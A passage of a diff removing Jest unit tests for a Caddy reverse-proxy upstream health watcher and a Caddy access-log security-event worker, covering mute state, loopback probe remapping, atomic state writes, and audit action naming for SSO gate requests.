u.lastFailureAt = new Date(Date.now() - 2 * 60 * 1000).toISOString();
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(fakeHealthChecker.resolveIncident).toHaveBeenCalledTimes(1);
|
|
||||||
expect(w.openIncidents.has('1.1.1.1:80')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('mute suppresses probing and hides upstream in snapshot status', async () => {
|
|
||||||
seedSites({ 'noisy.sami': 'noisy.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
w.setMuted('1.1.1.1:80', true);
|
|
||||||
expect(w.isMuted('1.1.1.1:80')).toBe(true);
|
|
||||||
const snap = w.snapshot();
|
|
||||||
expect(snap.upstreams[0].status).toBe('muted');
|
|
||||||
expect(snap.upstreams[0].muted).toBe(true);
|
|
||||||
// probe tick should skip muted
|
|
||||||
await w._tick();
|
|
||||||
// lastCheckedAt should NOT have advanced because no probe was issued
|
|
||||||
expect(snap.upstreams[0].lastCheckedAt).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('unmute resets failure counters so a recently-recovered upstream is not immediately re-incidented', async () => {
|
|
||||||
seedSites({ 'flap.sami': 'flap.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.values().next().value;
|
|
||||||
u.consecutiveFailures = 42;
|
|
||||||
u.lastError = 'old failure';
|
|
||||||
u.lastFailureAt = new Date().toISOString();
|
|
||||||
u.status = 'down';
|
|
||||||
w.setMuted('1.1.1.1:80', true);
|
|
||||||
w.setMuted('1.1.1.1:80', false);
|
|
||||||
expect(u.consecutiveFailures).toBe(0);
|
|
||||||
expect(u.status).toBe('unknown');
|
|
||||||
expect(u.lastError).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('snapshot sorts dead > down > muted > up > unknown', async () => {
|
|
||||||
seedSites({
|
|
||||||
'a.sami': 'a.sami { reverse_proxy 1.1.1.1:80 }\n',
|
|
||||||
'b.sami': 'b.sami { reverse_proxy 2.2.2.2:80 }\n',
|
|
||||||
'c.sami': 'c.sami { reverse_proxy 3.3.3.3:80 }\n',
|
|
||||||
'd.sami': 'd.sami { reverse_proxy 4.4.4.4:80 }\n',
|
|
||||||
'e.sami': 'e.sami { reverse_proxy 5.5.5.5:80 }\n'
|
|
||||||
});
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const all = Array.from(w.upstreams.values());
|
|
||||||
// 1.1.1.1:80 -> up (just succeeded)
|
|
||||||
all.find(u => u.host === '1.1.1.1:80').status = 'up';
|
|
||||||
all.find(u => u.host === '1.1.1.1:80').lastSuccessAt = new Date().toISOString();
|
|
||||||
// 2.2.2.2:80 -> down (recent — last success 30s ago)
|
|
||||||
all.find(u => u.host === '2.2.2.2:80').status = 'down';
|
|
||||||
all.find(u => u.host === '2.2.2.2:80').lastSuccessAt = new Date(Date.now() - 30000).toISOString();
|
|
||||||
// 3.3.3.3:80 -> muted
|
|
||||||
w.muted.add('3.3.3.3:80');
|
|
||||||
// 4.4.4.4:80 -> dead (last success 7min ago, never recovered)
|
|
||||||
const dead = all.find(u => u.host === '4.4.4.4:80');
|
|
||||||
dead.status = 'down';
|
|
||||||
dead.lastSuccessAt = new Date(Date.now() - 7 * 60 * 1000).toISOString();
|
|
||||||
// 5.5.5.5:80 -> unknown (no probes yet)
|
|
||||||
const snap = w.snapshot();
|
|
||||||
const order = snap.upstreams.map(u => u.host);
|
|
||||||
// Expected: dead first, then down, then muted, then up, then unknown
|
|
||||||
expect(order).toEqual(['4.4.4.4:80', '2.2.2.2:80', '3.3.3.3:80', '1.1.1.1:80', '5.5.5.5:80']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('persists muted list to state file', async () => {
|
|
||||||
seedSites({ 'a.sami': 'a.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
w.setMuted('1.1.1.1:80', true);
|
|
||||||
// DC-105: _saveState delegates to atomicWriteJSON — content lands via
|
|
||||||
// openSync('wx')+writeSync+rename, not writeFileSync to a fixed .tmp.
|
|
||||||
// The renamed destination must carry the muted host.
|
|
||||||
expect(mockFsState.exists[STATE]).toBe(true);
|
|
||||||
const data = JSON.parse(mockFsState.files[STATE]);
|
|
||||||
expect(data.muted).toContain('1.1.1.1:80');
|
|
||||||
// And the legacy fixed-name tmp path must NOT have been used.
|
|
||||||
expect(mockFsState.writeLog.filter(w => w.p === STATE + '.tmp').length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---- DC-105: state file goes through the canonical atomic-write util ------
|
|
||||||
|
|
||||||
test('DC-105: _saveState uses atomicWriteJSON (wx tmp + fsync + rename, no fixed .tmp)', async () => {
|
|
||||||
seedSites({ 'a.sami': 'a.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
w.setMuted('1.1.1.1:80', true);
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
// The canonical writer must have been used: open with 'wx' (exclusive
|
|
||||||
// create), fsync before close, then rename onto the destination.
|
|
||||||
expect(fs.openSync).toHaveBeenCalled();
|
|
||||||
expect(fs.fsyncSync).toHaveBeenCalled();
|
|
||||||
expect(fs.closeSync).toHaveBeenCalled();
|
|
||||||
const renames = fs.renameSync.mock.calls.filter(c => c[1] === STATE);
|
|
||||||
expect(renames.length).toBeGreaterThan(0);
|
|
||||||
// Tmp names are hidden dotfiles in the same dir with pid+counter — the
|
|
||||||
// old fixed `STATE + '.tmp'` collision window between concurrent saves
|
|
||||||
// (probe loop vs setMuted) is gone.
|
|
||||||
for (const [src] of renames) {
|
|
||||||
expect(src).toMatch(/[\\/].caddy-upstreams-test[.]json[.]tmp-/);
|
|
||||||
expect(src).not.toBe(STATE + '.tmp');
|
|
||||||
}
|
|
||||||
// No leftover tmp files after a successful save.
|
|
||||||
const leftovers = Object.keys(mockFsState.files)
|
|
||||||
.filter(p => p.includes('.tmp-'));
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
// Destination holds complete, parseable JSON with the mute.
|
|
||||||
const data = JSON.parse(mockFsState.files[STATE]);
|
|
||||||
expect(data.muted).toContain('1.1.1.1:80');
|
|
||||||
expect(data.upstreams['1.1.1.1:80'].site).toBe('a.sami');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('reload from state file restores muted list', async () => {
|
|
||||||
// Pre-seed a state file with a muted host
|
|
||||||
mockFsState.files[STATE] = JSON.stringify({
|
|
||||||
muted: ['99.99.99.99:80'],
|
|
||||||
upstreams: { '99.99.99.99:80': { ip: '99.99.99.99', port: '80', site: 'old.sami', siteFile: 'old.sami' } }
|
|
||||||
});
|
|
||||||
mockFsState.exists[STATE] = true;
|
|
||||||
// And the matching site file
|
|
||||||
seedSites({ 'old.sami': 'old.sami { reverse_proxy 99.99.99.99:80 }\n' });
|
|
||||||
process.env.CADDY_UPSTREAMS_STATE_FILE = STATE;
|
|
||||||
process.env.CADDY_SITES_DIR = SITES;
|
|
||||||
const mod = require('../src/monitoring/caddy-upstream-watcher');
|
|
||||||
const w = mod.CaddyUpstreamWatcher ? new mod.CaddyUpstreamWatcher() : mod;
|
|
||||||
expect(w.isMuted('99.99.99.99:80')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---- Loopback → host-gateway remap (live bug 2026-08-18) -----------------
|
|
||||||
// The watcher runs inside the container; Caddyfile `localhost:PORT` means
|
|
||||||
// the HOST's loopback. Probing the container's own loopback gave 278
|
|
||||||
// phantom failures per healthy host-side upstream.
|
|
||||||
|
|
||||||
test('loopback upstream probe is remapped to host.docker.internal (not container loopback)', async () => {
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.get('localhost:8088');
|
|
||||||
expect(u).toBeTruthy();
|
|
||||||
const http = require('http');
|
|
||||||
await w._probeOne(u);
|
|
||||||
// The probe request must have gone to host.docker.internal, keeping the port.
|
|
||||||
const call = http.request.mock.calls.find(c => c[0].hostname === 'host.docker.internal');
|
|
||||||
expect(call).toBeTruthy();
|
|
||||||
expect(call[0].port).toBe('8088');
|
|
||||||
// Display key is unchanged.
|
|
||||||
expect(w.snapshot().upstreams[0].host).toBe('localhost:8088');
|
|
||||||
expect(w.snapshot().upstreams[0].status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('127.0.0.1 and 127.x addresses are also remapped', async () => {
|
|
||||||
seedSites({
|
|
||||||
'a.sami': 'a.sami { reverse_proxy 127.0.0.1:8765 }\n',
|
|
||||||
'b.sami': 'b.sami { reverse_proxy 127.0.0.53:9000 }\n'
|
|
||||||
});
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const http = require('http');
|
|
||||||
for (const u of w.upstreams.values()) await w._probeOne(u);
|
|
||||||
const hostnames = http.request.mock.calls.map(c => c[0].hostname);
|
|
||||||
expect(hostnames).toEqual(['host.docker.internal', 'host.docker.internal']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-loopback upstreams are probed at their literal address (no remap)', async () => {
|
|
||||||
seedSites({ 'arch.sami': 'arch.sami { reverse_proxy 100.120.159.34:5000 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const http = require('http');
|
|
||||||
await w._probeOne(w.upstreams.get('100.120.159.34:5000'));
|
|
||||||
const hostnames = http.request.mock.calls.map(c => c[0].hostname);
|
|
||||||
expect(hostnames).toEqual(['100.120.159.34']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('failed host-gateway probe marks loopback upstream unverifiable — no failures, no incident', async () => {
|
|
||||||
// Services bound to 127.0.0.1 on the host refuse bridge-IP connections;
|
|
||||||
// from inside the container that is indistinguishable from "dead", and
|
|
||||||
// Caddy (on the host) still routes fine — so it must NOT count as down.
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'connect ECONNREFUSED 172.17.0.1:8088' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = { createIncident: jest.fn(), resolveIncident: jest.fn(), incidents: [] };
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.get('localhost:8088');
|
|
||||||
u.lastSuccessAt = new Date(Date.now() - 10 * 60 * 1000).toISOString(); // long "failing" history
|
|
||||||
await w._probeOne(u);
|
|
||||||
const snap = w.snapshot().upstreams[0];
|
|
||||||
expect(snap.status).toBe('unverifiable');
|
|
||||||
expect(snap.consecutiveFailures).toBe(0);
|
|
||||||
expect(snap.dead).toBe(false);
|
|
||||||
expect(snap.failingForMs).toBe(0);
|
|
||||||
expect(snap.lastError).toMatch(/not verifiable from container/);
|
|
||||||
expect(fakeHealthChecker.createIncident).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('unverifiable sorts between muted and up in the snapshot', async () => {
|
|
||||||
seedSites({
|
|
||||||
'a.sami': 'a.sami { reverse_proxy 1.1.1.1:80 }\n',
|
|
||||||
'b.sami': 'b.sami { reverse_proxy localhost:9876 }\n',
|
|
||||||
'c.sami': 'c.sami { reverse_proxy 2.2.2.2:80 }\n'
|
|
||||||
});
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const all = Array.from(w.upstreams.values());
|
|
||||||
all.find(u => u.host === '1.1.1.1:80').status = 'up';
|
|
||||||
all.find(u => u.host === 'localhost:9876').status = 'unverifiable';
|
|
||||||
w.muted.add('2.2.2.2:80');
|
|
||||||
const order = w.snapshot().upstreams.map(u => u.host);
|
|
||||||
expect(order).toEqual(['2.2.2.2:80', 'localhost:9876', '1.1.1.1:80']);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---- verifiedViaBridge (DC-053 follow-up item 2b-a) ----------------------
|
|
||||||
// A loopback upstream whose PRIOR probe succeeded via host-gateway proves
|
|
||||||
// the bridge CAN reach the host. If a later probe then fails, that is
|
|
||||||
// near-conclusive evidence the upstream itself went dead — not that
|
|
||||||
// bridge connectivity broke. Restore dead-detection for that subset.
|
|
||||||
|
|
||||||
test('successful host-gateway probe sets verifiedViaBridge=true on loopback upstream', async () => {
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.get('localhost:8088');
|
|
||||||
expect(u.verifiedViaBridge).toBeFalsy();
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(u.verifiedViaBridge).toBe(true);
|
|
||||||
expect(u.status).toBe('up');
|
|
||||||
expect(w.snapshot().upstreams[0].verifiedViaBridge).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('loopback upstream with verifiedViaBridge fails -> counts as down (not unverifiable)', async () => {
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
// First probe succeeds (sets verifiedViaBridge), second probe fails.
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'connect ECONNREFUSED 172.17.0.1:8088' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = { createIncident: jest.fn(), resolveIncident: jest.fn(), incidents: [] };
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.get('localhost:8088');
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(u.verifiedViaBridge).toBe(true);
|
|
||||||
expect(u.status).toBe('up');
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(u.status).toBe('down');
|
|
||||||
expect(u.consecutiveFailures).toBe(1);
|
|
||||||
expect(u.lastError).toMatch(/ECONNREFUSED/);
|
|
||||||
// Snapshot also reflects verifiedViaBridge so dashboard can label it.
|
|
||||||
const snap = w.snapshot().upstreams[0];
|
|
||||||
expect(snap.verifiedViaBridge).toBe(true);
|
|
||||||
// No incident yet — needs DEAD_AFTER_MS of continuous failure.
|
|
||||||
expect(fakeHealthChecker.createIncident).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('loopback upstream with verifiedViaBridge eventually opens a dead incident', async () => {
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 }); // probe 1: success -> verifiedViaBridge
|
|
||||||
probeQueue.push({ kind: 'err', message: 'down' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = { createIncident: jest.fn(), resolveIncident: jest.fn(), incidents: [] };
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.get('localhost:8088');
|
|
||||||
await w._probeOne(u);
|
|
||||||
// Pre-set lastSuccessAt to DEAD_AFTER_MS ago so the second failure
|
|
||||||
// immediately crosses the 5-minute threshold.
|
|
||||||
u.lastSuccessAt = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(fakeHealthChecker.createIncident).toHaveBeenCalledWith(
|
|
||||||
'localhost:8088',
|
|
||||||
'caddy-upstream-dead',
|
|
||||||
expect.stringMatching(/unreachable for 6m/),
|
|
||||||
expect.objectContaining({ status: 'down', serviceId: 'localhost:8088' })
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---- IN_CONTAINER=false kill-switch (DC-053 follow-up item 2b-b) --------
|
|
||||||
// When the API runs bare-metal (or in a sidecar next to Caddy), the
|
|
||||||
// loopback host IS the host — no bridge. Probing loopback verbatim
|
|
||||||
// gives real, conclusive evidence.
|
|
||||||
|
|
||||||
test('IN_CONTAINER=false disables host-gateway remap (probes loopback verbatim)', async () => {
|
|
||||||
process.env.IN_CONTAINER = 'false';
|
|
||||||
try {
|
|
||||||
seedSites({
|
|
||||||
'a.sami': 'a.sami { reverse_proxy localhost:8088 }\n',
|
|
||||||
'b.sami': 'b.sami { reverse_proxy 127.0.0.1:9000 }\n',
|
|
||||||
'c.sami': 'c.sami { reverse_proxy 1.2.3.4:80 }\n' // non-loopback, should still go literal
|
|
||||||
});
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
// Force module reload so the new IN_CONTAINER is picked up at require time.
|
|
||||||
jest.resetModules();
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const http = require('http');
|
|
||||||
for (const u of w.upstreams.values()) await w._probeOne(u);
|
|
||||||
const hostnames = http.request.mock.calls.map(c => c[0].hostname);
|
|
||||||
// All three go to their literal addresses — no host.docker.internal.
|
|
||||||
expect(hostnames).toEqual(['localhost', '127.0.0.1', '1.2.3.4']);
|
|
||||||
// And no upstream is marked verifiedViaBridge (the loopback-success
|
|
||||||
// gate only matters in the bridge case).
|
|
||||||
for (const u of w.upstreams.values()) {
|
|
||||||
expect(u.verifiedViaBridge).toBeFalsy();
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
delete process.env.IN_CONTAINER;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('IN_CONTAINER unset (default) still uses host-gateway remap', async () => {
|
|
||||||
delete process.env.IN_CONTAINER;
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
jest.resetModules();
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const http = require('http');
|
|
||||||
await w._probeOne(w.upstreams.get('localhost:8088'));
|
|
||||||
const call = http.request.mock.calls.find(c => c[0].hostname === 'host.docker.internal');
|
|
||||||
expect(call).toBeTruthy();
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---- verifiedViaBridge persistence (B-grade polish) -----------------------
|
|
||||||
// GLM judge LOW: don't re-prove bridge connectivity across container
|
|
||||||
// restarts. A previously-positive observation is still good evidence.
|
|
||||||
|
|
||||||
test('verifiedViaBridge survives a save -> reload cycle (state.json round-trip)', async () => {
|
|
||||||
seedSites({ 'zap.sami': 'zap.sami { reverse_proxy localhost:8088 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 }); // probe succeeds -> verifiedViaBridge=true
|
|
||||||
const { w: w1 } = loadWatcher();
|
|
||||||
await w1.scanSites();
|
|
||||||
const u = w1.upstreams.get('localhost:8088');
|
|
||||||
await w1._probeOne(u);
|
|
||||||
expect(u.verifiedViaBridge).toBe(true);
|
|
||||||
// Force a save.
|
|
||||||
w1._saveState();
|
|
||||||
// Reload from the same file via a fresh watcher instance.
|
|
||||||
jest.resetModules();
|
|
||||||
const { w: w2 } = loadWatcher();
|
|
||||||
await w2.scanSites();
|
|
||||||
const restored = w2.upstreams.get('localhost:8088');
|
|
||||||
expect(restored).toBeTruthy();
|
|
||||||
expect(restored.verifiedViaBridge).toBe(true);
|
|
||||||
// The snapshot field carries it through too.
|
|
||||||
expect(w2.snapshot().upstreams[0].verifiedViaBridge).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,248 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-112 regression pins — caddy access-log worker event naming.
|
|
||||||
*
|
|
||||||
* Background (found 2026-08-23 while taking queue item (g)):
|
|
||||||
* the caddy tail worker named every event `http.<status>`, including
|
|
||||||
* forward_auth SSO gate hits — the same defect class as DC-111 defect 1
|
|
||||||
* (uniform action names make "who hit the gate?" unanswerable), in a
|
|
||||||
* different writer. Caddy gates call the API with the LEGACY pre-shim
|
|
||||||
* prefix (/api/auth/gate/<id>), dashboard JS with the canonical
|
|
||||||
* /api/v1/... prefix — both must map to the audit logger's ACTION_MAP
|
|
||||||
* vocabulary so both writers use the same names for the same request.
|
|
||||||
*
|
|
||||||
* Also pinned here:
|
|
||||||
* - severity escalation for denied gate hits (warn, not notice)
|
|
||||||
* - metadata fidelity: caddy logs headers as ARRAYS — the old
|
|
||||||
* single-value read always produced user_agent: null
|
|
||||||
* - metadata.host (which vhost served the request)
|
|
||||||
* - the dead-path visibility warn: when the configured log path is
|
|
||||||
* missing, the worker used to be fully silent — in the current DNS2
|
|
||||||
* container there is no /var/log/caddy mount and no override, so ALL
|
|
||||||
* caddy-source events were silently absent (store census: 45,912
|
|
||||||
* events, 100% source_type 'api', zero 'caddy').
|
|
||||||
*
|
|
||||||
* The worker test exercises the REAL worker: a temp access log written
|
|
||||||
* like caddy writes it (JSON lines), a real tail with a short poll
|
|
||||||
* interval, and the real event store pointed at a temp jsonl. No mocks
|
|
||||||
* of the module under test.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Hermetic sinks (same pattern as audit-gate-path-dc111.test.js)
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc112-caddy-'));
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(TMP_DIR, 'security-events.jsonl');
|
|
||||||
process.env.CADDY_ACCESS_LOG = path.join(TMP_DIR, 'access.log');
|
|
||||||
process.env.DATA_DIR = TMP_DIR; // platformPaths.dataDir -> state file location
|
|
||||||
|
|
||||||
const { startCaddyWorker, resolveCaddyAction } = require('../src/security/event-workers');
|
|
||||||
const { getStore } = require('../src/security/event-store');
|
|
||||||
|
|
||||||
// Silence the module-level logger for the warn test while still capturing it.
|
|
||||||
let capturedWarns = [];
|
|
||||||
const fakeLogger = {
|
|
||||||
warn: (ctx, msg, extra) => capturedWarns.push({ ctx, msg, extra }),
|
|
||||||
info: () => {},
|
|
||||||
error: () => {},
|
|
||||||
};
|
|
||||||
|
|
||||||
const ACCESS_LOG = process.env.CADDY_ACCESS_LOG;
|
|
||||||
const STORE_FILE = process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
|
|
||||||
function readStored() {
|
|
||||||
try {
|
|
||||||
return fs.readFileSync(STORE_FILE, 'utf8').trim().split('\n')
|
|
||||||
.filter(Boolean).map(l => JSON.parse(l));
|
|
||||||
} catch { return []; }
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait until the tail has picked up `n` events (it polls; append to the
|
|
||||||
// store is sync after the line is read).
|
|
||||||
async function waitForEvents(n, { timeoutMs = 5000 } = {}) {
|
|
||||||
const deadline = Date.now() + timeoutMs;
|
|
||||||
while (Date.now() < deadline) {
|
|
||||||
const events = readStored().filter(e => e.source_type === 'caddy');
|
|
||||||
if (events.length >= n) return events;
|
|
||||||
await new Promise(r => setTimeout(r, 50));
|
|
||||||
}
|
|
||||||
throw new Error(`timed out waiting for ${n} caddy events (got ${readStored().length})`);
|
|
||||||
}
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
fs.writeFileSync(STORE_FILE, '', 'utf8');
|
|
||||||
fs.writeFileSync(ACCESS_LOG, '', 'utf8');
|
|
||||||
// Reset the tail's persisted offset — it lives in TMP_DIR (DATA_DIR) and
|
|
||||||
// survives across tests; a stale offset makes the next worker resume
|
|
||||||
// mid-line and parse only partial JSON (0 events).
|
|
||||||
fs.writeFileSync(path.join(TMP_DIR, '.caddy-tail-offset'), '0', 'utf8');
|
|
||||||
capturedWarns = [];
|
|
||||||
getStore({ log: fakeLogger }); // fresh singleton pointed at the temp store file
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
try { fs.rmSync(TMP_DIR, { recursive: true, force: true }); } catch {}
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('resolveCaddyAction — action naming parity with the audit logger', () => {
|
|
||||||
test.each([
|
|
||||||
// Caddy forward_auth shape (legacy pre-shim prefix, what the Caddyfile's
|
|
||||||
// dashcaddy_auth snippet sends — see /etc/caddy/Caddyfile line 87)
|
|
||||||
['GET', '/api/auth/gate/plex', 401, 'auth.credential-injection'],
|
|
||||||
['GET', '/api/auth/gate/jellyfin', 200, 'auth.credential-injection'],
|
|
||||||
// Canonical shape (dashboard JS)
|
|
||||||
['GET', '/api/v1/auth/gate/plex', 401, 'auth.credential-injection'],
|
|
||||||
['GET', '/api/v1/auth/gate/plex?forward=/x', 401, 'auth.credential-injection'],
|
|
||||||
// app-token (auto-login pages)
|
|
||||||
['GET', '/api/auth/app-token/plex', 200, 'auth.app-token-issue'],
|
|
||||||
['GET', '/api/v1/auth/app-token/plex', 200, 'auth.app-token-issue'],
|
|
||||||
// sso-exchange is a POST
|
|
||||||
['POST', '/api/auth/sso-exchange', 200, 'auth.sso-exchange'],
|
|
||||||
['POST', '/api/v1/auth/sso-exchange', 401, 'auth.sso-exchange'],
|
|
||||||
// Non-auth traffic keeps the status-derived action
|
|
||||||
['GET', '/api/health', 401, 'http.401'],
|
|
||||||
['GET', '/index.html', 200, 'http.200'],
|
|
||||||
['GET', '/wp-admin/setup-config.php', 404, 'http.404'],
|
|
||||||
// Wrong method on auth paths: named only for the verbs the routes use
|
|
||||||
['POST', '/api/auth/gate/plex', 401, 'http.401'],
|
|
||||||
// Boundary: exact-path match for sso-exchange — lookalike paths must
|
|
||||||
// NOT be misnamed (judge polish round)
|
|
||||||
['POST', '/api/auth/sso-exchange-x', 404, 'http.404'],
|
|
||||||
['POST', '/api/v1/auth/sso-exchange/extra', 404, 'http.404'],
|
|
||||||
['POST', '/api/auth/sso-exchange?nonce=1', 200, 'auth.sso-exchange'],
|
|
||||||
])('%s %s -> %s', (method, uri, status, expected) => {
|
|
||||||
expect(resolveCaddyAction(method, uri, status)).toBe(expected);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('does NOT rename non-gate auth traffic (e.g. TOTP verify stays http.<status>)', () => {
|
|
||||||
// /api/v1/totp/verify is a credential POST but not in ACTION_MAP's
|
|
||||||
// security-logging set; the caddy worker keeps its status action.
|
|
||||||
expect(resolveCaddyAction('POST', '/api/v1/totp/verify', 200)).toBe('http.200');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('caddy worker end-to-end (real tail + real store)', () => {
|
|
||||||
let worker;
|
|
||||||
afterEach(() => { if (worker) { worker.stop(); worker = null; } });
|
|
||||||
|
|
||||||
test('gate hit is named, escalated, and carries array-normalized UA + host', async () => {
|
|
||||||
// A realistic forward_auth gate miss, exactly as caddy logs it:
|
|
||||||
// headers as arrays, host nested in request, duration in seconds.
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: 1787500800,
|
|
||||||
request: { host: 'plex.sami',
|
|
||||||
|
|
||||||
remote_ip: '10.9.9.9',
|
|
||||||
method: 'GET',
|
|
||||||
uri: '/api/auth/gate/plex',
|
|
||||||
proto: 'HTTP/1.1',
|
|
||||||
headers: { 'User-Agent': ['PlexDBRoulette/1.0'] },
|
|
||||||
},
|
|
||||||
status: 401,
|
|
||||||
duration: 0.007,
|
|
||||||
size: 42,
|
|
||||||
}) + '\n');
|
|
||||||
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
|
|
||||||
expect(ev.action).toBe('auth.credential-injection');
|
|
||||||
expect(ev.outcome).toBe('denied');
|
|
||||||
expect(ev.severity).toBe('warn'); // escalated from the 401 mapping
|
|
||||||
expect(ev.actor).toBe('10.9.9.9');
|
|
||||||
expect(ev.target).toBe('GET /api/auth/gate/plex');
|
|
||||||
expect(ev.source_type).toBe('caddy');
|
|
||||||
expect(ev.metadata.user_agent).toBe('PlexDBRoulette/1.0'); // was null pre-fix
|
|
||||||
expect(ev.metadata.host).toBe('plex.sami'); // new
|
|
||||||
expect(ev.metadata.status).toBe(401);
|
|
||||||
expect(ev.metadata.duration_seconds).toBe(0.007); // judge polish: true unit
|
|
||||||
expect(ev.metadata.duration_ms).toBe(0.007); // legacy field, unchanged semantics
|
|
||||||
});
|
|
||||||
|
|
||||||
test('canonical gate hit and sso-exchange POST are named too', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: 1787500801,
|
|
||||||
request: { host: 'status.sami',
|
|
||||||
remote_ip: '10.9.9.8', method: 'GET', uri: '/api/v1/auth/gate/sonarr', proto: 'HTTP/2.0', headers: { 'User-Agent': ['Mozilla/5.0'] } },
|
|
||||||
status: 401,
|
|
||||||
duration: 0.002,
|
|
||||||
}) + '\n');
|
|
||||||
fs.appendFileSync(ACCESS_LOG, JSON.stringify({
|
|
||||||
ts: 1787500802,
|
|
||||||
request: { host: 'status.sami',
|
|
||||||
